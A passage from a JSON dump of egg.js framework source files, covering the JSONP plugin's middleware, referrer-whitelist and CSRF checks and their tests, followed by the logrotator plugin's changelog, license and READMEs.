    "content": "import type { ParsedUrlQuery } from 'node:querystring';\nimport { parse as urlParse, type UrlWithStringQuery } from 'node:url';\nimport { debuglog } from 'node:util';\n\nimport { Application, type MiddlewareFunc } from 'egg';\n\nimport type { JSONPConfig } from '../../config/config.default.ts';\nimport { JSONPForbiddenReferrerError } from '../../error/JSONPForbiddenReferrerError.ts';\nimport { JSONP_CONFIG } from '../../lib/private_key.ts';\nimport type JSONPContext from './context.ts';\n\nconst debug = debuglog('egg/jsonp/app/extend/application');\n\nexport default class JSONPApplication extends Application {\n  /**\n   * return a middleware to enable jsonp response.\n   * will do some security check inside.\n   * @public\n   */\n  jsonp(initOptions: Partial<JSONPConfig> = {}): MiddlewareFunc {\n    const options = {\n      ...this.config.jsonp,\n      ...initOptions,\n    } as JSONPConfig & { callback: string[] };\n    if (!Array.isArray(options.callback)) {\n      options.callback = [options.callback];\n    }\n\n    const csrfEnable =\n      this.plugins.security &&\n      this.plugins.security.enable && // security enable\n      this.config.security.csrf &&\n      this.config.security.csrf.enable !== false && // csrf enable\n      options.csrf; // jsonp csrf enabled\n\n    const validateReferrer = options.whiteList && createValidateReferer(options.whiteList);\n\n    if (!csrfEnable && !validateReferrer) {\n      this.coreLogger.warn('[@eggjs/jsonp] SECURITY WARNING!! csrf check and referrer check are both closed!');\n    }\n    /**\n     * jsonp request security check, pass if\n     *\n     * 1. hit referrer white list\n     * 2. or pass csrf check\n     * 3. both check are disabled\n     */\n    function securityAssert(ctx: JSONPContext) {\n      // all disabled. don't need check\n      if (!csrfEnable && !validateReferrer) return;\n\n      // pass referrer check\n      const referrer = ctx.get<string>('referrer');\n      if (validateReferrer && validateReferrer(referrer)) return;\n      if (csrfEnable && validateCsrf(ctx)) return;\n\n      throw new JSONPForbiddenReferrerError('jsonp request security validate failed', referrer, 403);\n    }\n\n    return async function jsonp(ctx: JSONPContext, next) {\n      const jsonpFunction = getJsonpFunction(ctx.query, options.callback);\n\n      ctx[JSONP_CONFIG] = {\n        jsonpFunction,\n        options,\n      };\n\n      // before handle request, must do some security checks\n      securityAssert(ctx);\n\n      await next();\n\n      // generate jsonp body\n      ctx.createJsonpBody(ctx.body);\n    };\n  }\n}\n\nfunction createValidateReferer(whiteList: Required<JSONPConfig>['whiteList']) {\n  if (!Array.isArray(whiteList)) {\n    whiteList = [whiteList];\n  }\n\n  return (referrer: string) => {\n    let parsed: UrlWithStringQuery | undefined;\n    for (const rule of whiteList) {\n      if (rule instanceof RegExp) {\n        if (rule.test(referrer)) {\n          // regexp(/^https?:\\/\\/github.com\\//): test the referrer with rule\n          return true;\n        }\n        continue;\n      }\n\n      parsed = parsed ?? urlParse(referrer);\n      const hostname = parsed.hostname || '';\n\n      // check if referrer's hostname match the string rule\n      if (rule[0] === '.' && (hostname.endsWith(rule) || hostname === rule.slice(1))) {\n        // string start with `.`(.github.com): referrer's hostname must ends with rule\n        return true;\n      } else if (hostname === rule) {\n        // string not start with `.`(github.com): referrer's hostname must strict equal to rule\n        return true;\n      }\n    }\n\n    // no rule matched\n    return false;\n  };\n}\n\nfunction validateCsrf(ctx: JSONPContext) {\n  try {\n    ctx.assertCsrf();\n    return true;\n  } catch (err) {\n    debug('validate csrf failed: %s', err);\n    return false;\n  }\n}\n\nfunction getJsonpFunction(query: ParsedUrlQuery, callbacks: string[]) {\n  for (const callback of callbacks) {\n    if (query[callback]) {\n      return query[callback] as string;\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/jsonp/src/app/extend/context.ts",
    "content": "import { Context } from 'egg';\nimport { jsonp as jsonpBody } from 'jsonp-body';\n\nimport type { JSONPConfig } from '../../config/config.default.ts';\nimport { JSONP_CONFIG } from '../../lib/private_key.ts';\n\ninterface JSONPConfigData {\n  jsonpFunction?: string;\n  options?: JSONPConfig;\n}\n\nexport default class JSONPContext extends Context {\n  /**\n   * detect if response should be jsonp\n   */\n  get acceptJSONP(): boolean {\n    const jsonpConfig = this[JSONP_CONFIG] as JSONPConfigData | undefined;\n    return !!jsonpConfig?.jsonpFunction;\n  }\n\n  /**\n   * JSONP wrap body function\n   * Set jsonp response wrap function, other plugin can use it.\n   * If not necessary, please don't use this method in your application code.\n   * @param {Object} body response body\n   * @private\n   */\n  createJsonpBody(body: any): void {\n    const jsonpConfig = this[JSONP_CONFIG] as JSONPConfigData | undefined;\n    if (!jsonpConfig?.jsonpFunction) {\n      this.body = body;\n      return;\n    }\n\n    this.set('x-content-type-options', 'nosniff');\n    this.type = 'js';\n    body = body === undefined ? null : body;\n    // protect from jsonp xss\n    this.body = jsonpBody(body, jsonpConfig.jsonpFunction, jsonpConfig.options);\n  }\n}\n"
  },
  {
    "path": "plugins/jsonp/src/config/config.default.ts",
    "content": "import type { PartialEggConfig } from 'egg';\n\nexport interface JSONPConfig {\n  /**\n   * jsonp callback methods key, default to `['_callback', 'callback' ]`\n   */\n  callback: string[] | string;\n  /**\n   * callback method name's max length, default to `50`\n   */\n  limit: number;\n  /**\n   * enable csrf check or not, default to `false`\n   */\n  csrf: boolean;\n  /**\n   * referrer white list, default to `undefined`\n   */\n  whiteList?: string | RegExp | (string | RegExp)[];\n}\n\nconst config: PartialEggConfig = {\n  jsonp: {\n    limit: 50,\n    callback: ['_callback', 'callback'],\n    csrf: false,\n    whiteList: undefined,\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/jsonp/src/error/JSONPForbiddenReferrerError.ts",
    "content": "export class JSONPForbiddenReferrerError extends Error {\n  referrer: string;\n  status: number;\n\n  constructor(message: string, referrer: string, status: number) {\n    super(message);\n    this.name = this.constructor.name;\n    this.referrer = referrer;\n    this.status = status;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "plugins/jsonp/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * JSONP plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import jsonpPlugin from '@eggjs/jsonp';\n *\n * export default {\n *   ...jsonpPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'jsonp',\n  enable: true,\n  path: import.meta.dirname,\n  optionalDependencies: ['security'],\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/jsonp/src/lib/private_key.ts",
    "content": "export const JSONP_CONFIG: unique symbol = Symbol('jsonp#config');\n"
  },
  {
    "path": "plugins/jsonp/src/types.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { JSONPConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * jsonp options\n     * @member Config#jsonp\n     */\n    jsonp?: JSONPConfig;\n  }\n\n  interface Context {\n    /**\n     * detect if response should be jsonp\n     */\n    acceptJSONP: boolean;\n    /**\n     * JSONP wrap body function\n     * Set jsonp response wrap function, other plugin can use it.\n     * If not necessary, please don't use this method in your application code.\n     * @param {Object} body response body\n     * @private\n     */\n    createJsonpBody(body: any): void;\n  }\n\n  interface Application {\n    /**\n     * return a middleware to enable jsonp response.\n     * will do some security check inside.\n     * @public\n     */\n    jsonp(initOptions?: Partial<JSONPConfig>): MiddlewareFunc;\n  }\n}\n"
  },
  {
    "path": "plugins/jsonp/test/fixtures/jsonp-test/app/controller/jsonp.js",
    "content": "exports.index = (ctx) => {\n  ctx.body = { foo: 'bar' };\n};\n\nexports.empty = function () {};\n\nexports.mark = (ctx) => {\n  ctx.body = { jsonpFunction: ctx.acceptJSONP };\n};\n\nexports.error = async () => {\n  throw new Error('jsonpFunction is error');\n};\n"
  },
  {
    "path": "plugins/jsonp/test/fixtures/jsonp-test/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/default', app.jsonp(), 'jsonp.index');\n  app.get('/empty', app.jsonp(), 'jsonp.empty');\n  app.get('/disable', 'jsonp.index');\n  app.get('/fn', app.jsonp({ callback: 'fn' }), 'jsonp.index');\n  app.get('/referrer/subdomain', app.jsonp({ whiteList: '.test.com' }), 'jsonp.index');\n  app.get('/referrer/equal', app.jsonp({ whiteList: 'test.com' }), 'jsonp.index');\n  app.get(\n    '/referrer/regexp',\n    app.jsonp({\n      whiteList: [/https?:\\/\\/test\\.com\\//, /https?:\\/\\/foo\\.com\\//],\n    }),\n    'jsonp.index',\n  );\n  app.get('/csrf', app.jsonp({ csrf: true }), 'jsonp.index');\n  app.get('/both', app.jsonp({ csrf: true, whiteList: 'test.com' }), 'jsonp.index');\n  app.get('/mark', app.jsonp(), 'jsonp.mark');\n  app.get(\n    '/error',\n    async (ctx, next) => {\n      try {\n        await next();\n      } catch (error) {\n        ctx.createJsonpBody({ msg: error.message });\n      }\n    },\n    app.jsonp(),\n    'jsonp.error',\n  );\n};\n"
  },
  {
    "path": "plugins/jsonp/test/fixtures/jsonp-test/config/config.default.js",
    "content": "module.exports = {\n  keys: 'keys',\n  jsonp: {},\n  logger: {\n    consoleLevel: 'NONE',\n    level: 'NONE',\n    coreLogger: {\n      consoleLevel: 'NONE',\n      level: 'NONE',\n    },\n    disableConsoleAfterReady: true,\n  },\n};\n"
  },
  {
    "path": "plugins/jsonp/test/fixtures/jsonp-test/package.json",
    "content": "{\n  \"name\": \"jsonp-test\",\n  \"version\": \"0.0.1\"\n}\n"
  },
  {
    "path": "plugins/jsonp/test/jsonp.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\ndescribe('test/jsonp.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(() => {\n    app = mm.app({\n      baseDir: path.join(import.meta.dirname, 'fixtures', 'jsonp-test'),\n    });\n    return app.ready();\n  });\n\n  afterAll(() => app.close());\n  afterEach(() => mm.restore());\n\n  it('should access acceptJSONP return false by default', () => {\n    assert.equal(app.mockContext().acceptJSONP, false);\n  });\n\n  it('should support json', async () => {\n    await app.httpRequest().get('/default').expect(200).expect({ foo: 'bar' });\n  });\n\n  it('should support jsonp', async () => {\n    await app\n      .httpRequest()\n      .get('/default?callback=fn')\n      .expect(200)\n      .expect('/**/ typeof fn === \\'function\\' && fn({\"foo\":\"bar\"});');\n  });\n\n  it('should support _callback', async () => {\n    await app\n      .httpRequest()\n      .get('/default?_callback=fn')\n      .expect(200)\n      .expect('/**/ typeof fn === \\'function\\' && fn({\"foo\":\"bar\"});');\n  });\n\n  it('should support jsonp if response is empty', async () => {\n    await app.httpRequest().get('/empty?callback=fn').expect(200).expect(\"/**/ typeof fn === 'function' && fn(null);\");\n  });\n\n  it('should not support jsonp if not use jsonp middleware', async () => {\n    await app.httpRequest().get('/disable?_callback=fn').expect(200).expect({ foo: 'bar' });\n  });\n\n  it('should support custom callback name', async () => {\n    await app\n      .httpRequest()\n      .get('/fn?fn=fn')\n      .expect(200)\n      .expect('/**/ typeof fn === \\'function\\' && fn({\"foo\":\"bar\"});');\n  });\n\n  it('should not pass csrf', async () => {\n    await app.httpRequest().get('/csrf').expect(403);\n  });\n\n  it('should pass csrf with cookie', async () => {\n    await app\n      .httpRequest()\n      .get('/csrf')\n      .set('cookie', 'csrfToken=token;')\n      .set('x-csrf-token', 'token')\n      .expect(200)\n      .expect({ foo: 'bar' });\n  });\n\n  it('should pass csrf with cookie and support jsonp', async () => {\n    await app\n      .httpRequest()\n      .get('/csrf')\n      .set('cookie', 'csrfToken=token;')\n      .set('x-csrf-token', 'token')\n      .expect(200)\n      .expect({ foo: 'bar' });\n  });\n\n  it('should pass referrer white list check with subdomain', async () => {\n    await app\n      .httpRequest()\n      .get('/referrer/subdomain')\n      .set('referrer', 'http://test.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/subdomain')\n      .set('referrer', 'http://sub.test.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/subdomain')\n      .set('referrer', 'https://sub.sub.test.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/subdomain')\n      .set('referrer', 'https://sub.sub.test1.com/')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n  });\n\n  it('should pass referrer white list with domain', async () => {\n    await app\n      .httpRequest()\n      .get('/referrer/equal')\n      .set('referrer', 'http://test.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/equal')\n      .set('referrer', 'https://test.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/equal')\n      .set('referrer', 'https://sub.sub.test.com/')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n\n    await app\n      .httpRequest()\n      .get('/referrer/equal')\n      .set('referrer', 'https://sub.sub.test1.com/')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n  });\n\n  it('should pass referrer white array and regexp', async () => {\n    await app\n      .httpRequest()\n      .get('/referrer/regexp')\n      .set('referrer', 'http://test.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/regexp')\n      .set('referrer', 'https://foo.com/')\n      .expect(200)\n      .expect({ foo: 'bar' });\n\n    await app\n      .httpRequest()\n      .get('/referrer/regexp')\n      .set('referrer', 'https://sub.sub.test.com/')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n\n    await app\n      .httpRequest()\n      .get('/referrer/regexp')\n      .set('referrer', 'https://sub.sub.test1.com/')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n  });\n\n  it('should pass when pass csrf but not hit referrer white list', async () => {\n    await app\n      .httpRequest()\n      .get('/both')\n      .set('cookie', 'csrfToken=token;')\n      .set('x-csrf-token', 'token')\n      .expect(200)\n      .expect({ foo: 'bar' });\n  });\n\n  it('should pass when not pass csrf but hit referrer white list', async () => {\n    await app.httpRequest().get('/both').set('referrer', 'https://test.com/').expect(200).expect({ foo: 'bar' });\n  });\n\n  it('should 403 when not pass csrf and not hit referrer white list', async () => {\n    await app\n      .httpRequest()\n      .get('/both')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n  });\n\n  it('should 403 when not pass csrf and referrer illegal', async () => {\n    await app\n      .httpRequest()\n      .get('/both')\n      .set('referrer', '/hello')\n      .expect(403)\n      .expect(/jsonp request security validate failed/);\n  });\n\n  it('should pass and return is a jsonp function', async () => {\n    await app\n      .httpRequest()\n      .get('/mark?_callback=fn')\n      .expect(200)\n      .expect('/**/ typeof fn === \\'function\\' && fn({\"jsonpFunction\":true});');\n  });\n\n  it('should pass and return is not a jsonp function', async () => {\n    await app.httpRequest().get('/mark').expect(200).expect({ jsonpFunction: false });\n  });\n\n  it('should pass and return error message', async () => {\n    await app\n      .httpRequest()\n      .get('/error?_callback=fn')\n      .expect(200)\n      .expect('/**/ typeof fn === \\'function\\' && fn({\"msg\":\"jsonpFunction is error\"});');\n  });\n});\n"
  },
  {
    "path": "plugins/jsonp/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/logrotator/.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\n.idea/\nrun/\n.DS_Store\n*.swp\ntest/fixtures/**/run\n.tshy*\n.eslintcache\ndist\npackage-lock.json\n.package-lock.json\n"
  },
  {
    "path": "plugins/logrotator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n---\n\n## [4.1.0](https://github.com/eggjs/logrotator/compare/v4.0.0...v4.1.0) (2025-03-30)\n\n\n### Features\n\n* use oxlint ([#35](https://github.com/eggjs/logrotator/issues/35)) ([6ed426e](https://github.com/eggjs/logrotator/commit/6ed426e11a107709427a7e6abd7c5b60864e454d))\n\n## [4.0.0](https://github.com/eggjs/logrotator/compare/v3.2.0...v4.0.0) (2025-02-03)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Package renamed to **@eggjs/logrotator** with updated installation\ninstructions and documentation.\n- Enhanced log rotation configuration for improved file retention and\ncompression.\n\n- **Refactor**\n  - Migrated the codebase to ES Modules with full TypeScript support.\n- Streamlined asynchronous handling in both core functionality and\ntests.\n\n- **Chores**\n- Updated CI workflows to support modern Node.js versions (18, 20, 22).\n  - Refined linting and version control ignore configurations.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* add disableRotateByDay configuration(default:false) ([#28](https://github.com/eggjs/logrotator/issues/28)) ([73690a8](https://github.com/eggjs/logrotator/commit/73690a8d65c8737c24b8c0c7d373f04b120450dd))\n* support cjs and esm both by tshy ([#33](https://github.com/eggjs/logrotator/issues/33)) ([fa42511](https://github.com/eggjs/logrotator/commit/fa42511f48f75e94ce3248bce0ed7d84def0a24f))\n* support gzip compress on rotate file ([#30](https://github.com/eggjs/logrotator/issues/30)) ([059d1c8](https://github.com/eggjs/logrotator/commit/059d1c8c29bcc11f1a387e7a874f477bee6d930f))\n\n\n### Bug Fixes\n\n* rename class name to HourRotator ([#29](https://github.com/eggjs/logrotator/issues/29)) ([3863a39](https://github.com/eggjs/logrotator/commit/3863a39eb5549ce1c122fb9eb4558e8acbb1dae7))\n\n## [3.2.0](https://github.com/eggjs/egg-logrotator/compare/v3.1.0...v3.2.0) (2024-09-28)\n\n\n### Features\n\n* remove debug deps ([#32](https://github.com/eggjs/egg-logrotator/issues/32)) ([e897d48](https://github.com/eggjs/egg-logrotator/commit/e897d483736d4d94c4a774c4454245a742c7050a))\n\n\n### Bug Fixes\n\n* hour crontab ([#31](https://github.com/eggjs/egg-logrotator/issues/31)) ([75e4787](https://github.com/eggjs/egg-logrotator/commit/75e478714f42e6d00f0500817bd2c6f1597174f2))\n\n\n---\n\n\n3.1.0 / 2019-04-25\n==================\n\n**features**\n  * [[`cd39697`](http://github.com/eggjs/egg-logrotator/commit/cd3969726998482df451da01eee759c883bf1552)] - feat: support relative path (#26) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.0.7 / 2019-03-14\n==================\n\n**fixes**\n  * [[`4c1632b`](http://github.com/eggjs/egg-logrotator/commit/4c1632be11fd527de80acc8bdda22568c5960bd1)] - fix: all rotator should use transport file (#25) (Hongcai Deng <<admin@dhchouse.com>>)\n\n3.0.6 / 2019-03-06\n==================\n\n**fixes**\n  * [[`4f52df7`](http://github.com/eggjs/egg-logrotator/commit/4f52df7ff5efc963d5459321ba738ea17defba6d)] - fix: clean log should use transport options file (#24) (Hongcai Deng <<admin@dhchouse.com>>)\n\n3.0.5 / 2018-12-04\n==================\n\n**fixes**\n  * [[`3371e60`](http://github.com/eggjs/egg-logrotator/commit/3371e609c29385ef73093abb9cbdcccc88e8f9b0)] - fix: allow 2 minutes deviation on schedule cron (#22) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.0.4 / 2018-10-24\n==================\n\n**fixes**\n  * [[`9c0f71f`](http://github.com/eggjs/egg-logrotator/commit/9c0f71f64ee3d78a79983f96211a58ab8b4e3def)] - fix: ignore not exists logdir (#21) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`3c8786d`](http://github.com/eggjs/egg-logrotator/commit/3c8786da71c83526d6349ad4e90fb2aa992cda4b)] - fix: in for in loop add hasOwnProperty filter (#20) (AllenZeng <<zengjuncm@gmail.com>>)\n\n3.0.3 / 2018-03-29\n==================\n\n  * fix: custom LogRotator error (#18)\n\n3.0.2 / 2018-02-23\n==================\n\n**fixes**\n  * [[`7211181`](http://github.com/eggjs/egg-logrotator/commit/72111818bf632abfe16d6ff8545f9a114a15954f)] - fix: support json files (#17) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n3.0.1 / 2017-12-11\n==================\n\n**fixes**\n  * [[`922824b`](http://github.com/eggjs/egg-logrotator/commit/922824bd4f761e2c37b36ca42b50391ac2be1b29)] - fix: split file at 00:00:01 && update deps (#15) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`6b4e6e5`](http://github.com/eggjs/egg-logrotater/commit/6b4e6e58ee5aab5310059bde59f3c89fdba2d3ae)] - refactor: use async function and support egg@2 (#13) (Yiyu He <<dead_horse@qq.com>>)\n\n2.3.0 / 2017-11-02\n==================\n\n**features**\n  * [[`bd3c95f`](http://github.com/eggjs/egg-logrotator/commit/bd3c95f651783ae8ccb167d1ad1e8c9e8590440c)] - feat: support custom hour delimiter (#12) (hui <<kangpangpang@gmail.com>>)\n\n**others**\n  * [[`5e6c563`](http://github.com/eggjs/egg-logrotator/commit/5e6c563b0cf34fafe6eab3a1f9f4a084c8bd5a28)] - test: upgrade dependencies (#11) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n2.2.3 / 2017-06-04\n==================\n\n  * docs: fix License url (#10)\n  * chore: upgrade deps and fix test (#9)\n\n2.2.2 / 2016-10-27\n==================\n\n  * fix: should rotate agent log (#8)\n\n2.2.1 / 2016-10-27\n==================\n\n  * fix: check directory exist before readdir (#7)\n\n2.2.0 / 2016-09-29\n==================\n\n  * refactor: use OO refactor schedule (#6)\n\n2.1.0 / 2016-08-29\n==================\n\n  * feat: reload loggers after rotating (#5)\n\n2.0.0 / 2016-08-17\n==================\n\n  * feat: rename logrotater => logrotator (#4)\n\n1.0.1 / 2016-08-10\n==================\n\n  * fix: auto find log file dirs to do rotate (#2)\n\n1.0.0 / 2016-07-26\n==================\n\n  * feat: auto remove expired files (#1)\n  * init commit by egg-init\n"
  },
  {
    "path": "plugins/logrotator/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2016-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/logrotator/README.md",
    "content": "# @eggjs/logrotator\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/logrotator.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/security)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/logrotator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/logrotator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/logrotator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/logrotator\n\nLogRotator for egg. Rotate all file of `app.loggers` by default\n\negg built-in plugin `logrotator` is enabled by default.\n\n## Usage\n\n- `config/config.default.ts`\n\n```ts\n// if any files need rotate by file size, config here\nexport default {\n  logrotator: {\n    filesRotateByHour: [], // list of files that will be rotated by hour\n    hourDelimiter: '-', // rotate the file by hour use specified delimiter\n    filesRotateBySize: [], // list of files that will be rotated by size\n    maxFileSize: 50 * 1024 * 1024, // Max file size to judge if any file need rotate\n    maxFiles: 10, // pieces rotate by size\n    rotateDuration: 60000, // time interval to judge if any file need rotate\n    maxDays: 31, // keep max days log files, default is `31`. Set `0` to keep all logs\n    gzip: false, // use gzip compress logger on rotate file, default is `false`. Set `true` to enable\n  },\n};\n```\n\n## Feature\n\nBy default, LogRotator will rotate all files of `app.loggers` at 00:00 everyday, the format is `.log.YYYY-MM-DD` (`egg-web.log.2016-09-30`).\n\n### By Size\n\nRotate by size with config `filesRotateBySize`. when the file size is greater than `maxFileSize`, it will rename to `.log.1`.\n\nIf the file you renamed to is exists, it will increment by 1 (`.log.1` -> `.log.2`), until `maxFiles`. if it reaches the `maxFiles`, then overwrite `.log.${maxFiles}`.\n\nFiles in `filesRotateBySize` won't be rotated by day.\n\nIf `file` is relative path, then will normalize to `path.join(this.app.config.logger.dir, file)`.\n\n### By Hour\n\nRotate by hour with config `filesRotateByHour`. rotate the file at 00 every hour, the format is `.log.YYYY-MM-DD-HH`.\n\nFiles in `filesRotateByHour` won't be rotated by day.\n\nIf `file` is relative path, then will normalize to `path.join(this.app.config.logger.dir, file)`.\n\n## Customize\n\nYou can use `app.LogRotator` to customize.\n\n```ts\n// app/schedule/custom.ts\nexport default (app: Application) => {\n  const rotator = getRotator(app);\n  return {\n    // https://github.com/eggjs/egg-schedule\n    schedule: {\n      type: 'worker', // only one worker run this task\n      cron: '10 * * * *', // custom cron, or use interval\n    },\n    async task() {\n      await rotator.rotate();\n    },\n  };\n};\n\nfunction getRotator(app: Application) {\n  class CustomRotator extends app.LogRotator {\n    // return map that contains a pair of srcPath and targetPath\n    // LogRotator will rename ksrcPath to targetPath\n    async getRotateFiles() {\n      const files = new Map();\n      const srcPath = '/home/admin/foo.log';\n      const targetPath = '/home/admin/foo.log.2016.09.30';\n      files.set(srcPath, { srcPath, targetPath });\n      return files;\n    }\n  }\n  return new CustomRotator({ app });\n}\n```\n\nDefine a method called `getRotateFiles`, return a map contains a pair of srcPath and targetPath.\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/logrotator/README.zh-CN.md",
    "content": "# @eggjs/logrotator\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/logrotator.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/security)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/logrotator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/logrotator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/logrotator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/logrotator\n\negg 的日志切割插件，默认会按照时间切割所有的 app.loggers。\n\n## 配置\n\n- `config.default.js`\n\n```js\n// 如果有需要按照文件大小切割的日志，在这里配置\nexports.logrotator = {\n  filesRotateByHour: [], // 需要按小时切割的文件\n  hourDelimiter: '-', // 按照小时切割的文件, 小时部分的分隔符.\n  filesRotateBySize: [], // 需要按大小切割的文件，其他日志文件仍按照通常方式切割\n  maxFileSize: 50 * 1024 * 1024, // 最大文件大小，默认为50m\n  maxFiles: 10, // 按大小切割时，文件最大切割的份数\n  rotateDuration: 60000, // 按大小切割时，文件扫描的间隔时间\n  maxDays: 31, // 日志保留最久天数\n};\n```\n\n## 功能说明\n\nlogrotator 默认在每日0点按照时间切割，会将 app.loggers 下所有的 logger 都进行切割，格式为 `.log.YYYY-MM-DD`，如 `egg-web.log.2016-09-30`。\n\n### 按大小切割\n\n可以配置 `filesRotateBySize` 文件列表按大小切割，当文件大于 `maxFileSize` 时进行切割，格式为 `.log.1`。\n\n当已有切割文件时会将原文件自增 1，如 `.log.1` -> `.log.2`。当切割分数大于 `maxFiles` 时会覆盖最后一份。\n\n配置了这个功能的文件不会再按默认切割。\n\n如配置为相对路径，则默认会转换为 `path.join(this.app.config.logger.dir, file)`。\n\n### 按小时切割\n\n可以配置 `filesRotateBySize` 文件列表按小时切割，每小时0分开始切割，格式为 `.log.YYYY-MM-DD-HH`。\n\n配置了这个功能的文件不会再按默认切割。\n\n如配置为相对路径，则默认会转换为 `path.join(this.app.config.logger.dir, file)`。\n\n## 自定义\n\n你可以使用 `app.LogRotator` 来自定义切割。\n\n```js\n// app/schedule/custom.js\nmodule.exports = app => {\n  const rotator = getRotator(app);\n  return {\n    // https://github.com/eggjs/egg-schedule\n    schedule: {\n      type: 'worker', // only one worker run this task\n      cron: '10 * * * *', // custom cron, or use interval\n    },\n    *task() {\n      yield rotator.rotate();\n    },\n  };\n};\n\nfunction getRotator(app) {\n  class CustomRotator extends app.LogRotator {\n    // return map that contains a pair of srcPath and targetPath\n    // LogRotator will rename srcPath to targetPath\n    // 返回一个 map，其中包含 srcPath 和 